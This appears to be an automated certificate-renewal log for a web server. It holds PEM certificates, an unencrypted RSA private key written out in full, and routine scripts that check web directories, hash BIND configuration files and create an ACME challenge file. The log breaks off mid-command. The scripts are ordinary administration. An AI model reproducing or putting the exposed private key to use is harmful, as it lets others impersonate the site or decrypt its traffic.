EDFRPBKieonn0Sncr+t9lYsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU3CCG6yF+zxi3aF6sMDJSI5id3qswHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZs6WCsPAAAEAwBHMEUCIH0f
WsRSPlbh9QwOv5tNpYz94WQW5GVyO7ECj2EvuY29AiEA6ZxaGX7obsFPHeNv7i8z
3PLCLLKSMBzLOhE5qDuVpYgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGz
I8uVBAAAAZs6WCvgAAAEAwBHMEUCIQDeGPscBRaqxICcTiYEQfq086Pruu5e83eb
mNc/SxTDRAIgY+fuKfP4ZPBuoxRgOcZhMhXy4UfgxQOXM1P0BWqeAXYwDQYJKoZI
hvcNAQELBQADggEBAHPF2Fx+0XMpZ5Gn3sNzw77qeDGSpA8EWApy7ZYdO6YH3s6q
eJMDZDnyzzhzYkwXv7jgNISSlM/6v5fzMJgjH3utG1WX6ZddXGTizn8m4/ymIbfu
QNhwqCxuwVzPWc4A4MYNfGyWURpMwksAkWzAbRtzlcYo4hDPkgXnAhHmbxCRyTqp
1NuYA8c8ebfsI+4NiYoKbiATe4raVvSn0tLz46m++RY2xauiWFQlMGeC3AnXchwW
RG2nq5USHOHCH+bcMj2lolAGvo9kz+YKDge+lAV+0oV4Y7Oei+NBoe7xpQp90I5g
UE/nQpRMawrib5MrQzJ00dMmWnm3+1akxpAkjAQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCe/iyXrrO3oQQt
mKWGrUZU50sDnOSqmqrWjVf2dp3+Xv/Tpu7j504DqFSYrpYHz1PYFvUQsdwNjP8o
DlFcTq8ZD/b0jHJkJ1hdCWFNa3Y7/iLZwtqCsinXWThZKVbJA8AKBZMiVSl52J/h
0pjQGPbkKP4eTEoKj3DUFe+YquvLjvxhqoXX4bpSTfOac9W4ospsLgez2Ot1AByW
cmIMaQgRHl2LGCXO5wWQFPghRmsO401j8GH/L8DG2aoo4rTHisrbZ8kKpegRvk29
30GACCdz2Up7Oif9SgLcV5r7TopreAaSp17fy4JmoE7OQPNT4BAxUTwSonqJ59Ep
3K/rfZWLAgMBAAECggEAMiXbbNBWsSGhTrxp4SvAFkGJwI749PKp1dhpGTzaooPW
TyzFBq9LRQ4P+MSAX+A+Atdi3qwqyz9gr4KsmN/cjJwjeYje/8YFMfsmbKPrfAqx
dVvnTffiCKGEi2Llk6uSI9cUTGzuExeHflPNjT2Cif6AAJBxfhk2Lj7o/o9SpjZp
DoxT9OSlsMnoTF7vWdUUIvgRHZNGlmnULBMlEDNEJkvdiS+700es4hE6Bk6EcT0y
8wN2JoMQ7o78CMPrgPq4lgttbOxLdgg9tmGJxhEJAXYCVoM7APsM7Oq8/jirQyTR
vjyz/eiKeK3mDbTxcsO/G5m35tWCKp6Lac8s59YXCQKBgQDMlNb+MVLBMUIqNMeM
tAqAOsYinABBUsAuyl1vOZL59grmpu26zMOFSXTmBIz1/3yUm3IHmqQUozEHxC2U
d7Uf/Aj/IDeV7OTyejgbfp328C8Lckyf0/Y0Jl5O+KbxNel503z/WRm8eLdRD0nY
bL98fcTZolgR9lu3FY/y200nrwKBgQDG9BSUVGE+Cx455P7Bzo5VQ570kNm3Gq15
lQ222oKtpffP2TbmxDjsmzXGALqQBjQ6VbV8ot/FIsfMfcyRFhuSKxnv/mXxttQu
1VdQ6QtioNSRCd/aXfxP6AYULnmoiyUljvJ3eF8QlJN97i/5COwReVsTW1S8tw6l
f+bBdafK5QKBgQC6sc1tFVfe4/PsjlPYrGi00m4EIXb+JeUqDhSsLs9Y+tbB3G4w
PTLkjL94NYjp6WgoOZ8bH11DVBWnb7jkt0V8VcVkBWOUlyXrves79BV1x4Q3Huyc
IpOYzbbcvH+kuj1BpuV4JTieTU+FUr1iGwO4ORIORd+3LKpP7wZ5avYDEwKBgH9V
jqpUyxwjj4fsWWT/Z7eInP7Yio+XonnTfUCP3912AQJleq793ZUJzcPZiY5OejTv
0EViFSgeF5R422nspV7K+UHSJ7spkeobn1Poo+HPH91oXX5scuVNkj5udGz8CZ1d
PTBbuTRqc2/A97FDFZwleLYN2VEjNFuWXcFqJSdFAoGBAIzoWFA7X7Zt8b1ZfuGi
q888koYftAwRt4fo63/j1li/SVQXSD/7IPC7IDLqGvR/x7Sev3hi8KsT4VgL7tJJ
IShlke3GUliwJuY4I9t2tMhmuyxNpEUiSDzxK9nYhB4DGAzs4+9+JI/l3GCJTsk6
K0eBVSTXVJA0WMnN8pen+Vwl
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-20 06:00:28: Establishing a connection
2025-12-20 06:00:29: Establishing a connection
2025-12-20 06:00:30:
PUT: /tmp/pkp493655
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-20 06:00:31:
chmod 755 /tmp/pkp493655; /tmp/pkp493655; rm /tmp/pkp493655
2025-12-20 06:00:31:
0
2025-12-20 10:28:45: Establishing a connection
2025-12-20 10:28:54: Establishing a connection
2025-12-20 10:28:54:
PUT: /tmp/pkp558046
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-20 10:28:55:
runuser -l bind -s /bin/bash -c '/tmp/pkp558046; rm /tmp/pkp558046'
2025-12-20 10:28:55:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-20 10:29:07: Establishing a connection
2025-12-20 10:29:08: Establishing a connection
2025-12-20 10:29:09:
PUT: /tmp/pkp275471
#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-20 10:29:09:
chmod 755 /tmp/pkp275471; /tmp/pkp275471; rm /tmp/pkp275471
2025-12-20 10:29:10:
1
2025-12-20 10:29:11: Establishing a connection
2025-12-20 10:29:12:
PUT: /tmp/pkp195946
#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
cat > 5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
